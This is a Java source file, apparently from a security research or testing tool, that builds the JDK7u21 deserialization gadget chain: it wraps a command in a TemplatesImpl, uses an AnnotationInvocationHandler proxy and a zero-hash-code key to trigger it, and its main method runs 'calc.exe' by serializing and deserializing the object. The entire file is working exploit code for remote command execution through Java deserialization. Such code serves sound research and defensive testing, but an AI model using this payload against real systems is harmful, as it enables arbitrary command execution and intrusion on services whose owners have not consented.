content: package me.n1ar4.fake.gadget;
  
  import javax.xml.transform.Templates;
  import java.lang.reflect.InvocationHandler;
  import java.util.HashMap;
  import java.util.LinkedHashSet;
  
  @SuppressWarnings("all")
  public class JDK7U21 {
      public static void main(final String[] args) throws Exception {
          JDK7U21 c = new JDK7U21();
          Object o = c.getObject("calc.exe");
          SerUtil.deserializeObject(SerUtil.serializeObject(o));
      }
  
      public Object getObject(final String command) throws Exception {
          final Object templates = Gadgets.createTemplatesImpl(command);
  
          String zeroHashCodeStr = "f5a5a608";
  
          HashMap map = new HashMap();
          map.put(zeroHashCodeStr, "foo");
  
          InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(
                  Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
          Reflections.setFieldValue(tempHandler, "type", Templates.class);
          Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
  
          LinkedHashSet set = new LinkedHashSet(); // maintain order
          set.add(templates);
          set.add(proxy);
  
          Reflections.setFieldValue(templates, "_auxClasses", null);
          Reflections.setFieldValue(templates, "_class", null);
  
          map.put(zeroHashCodeStr, templates); // swap in real object
  
          return set;
      }
  }
  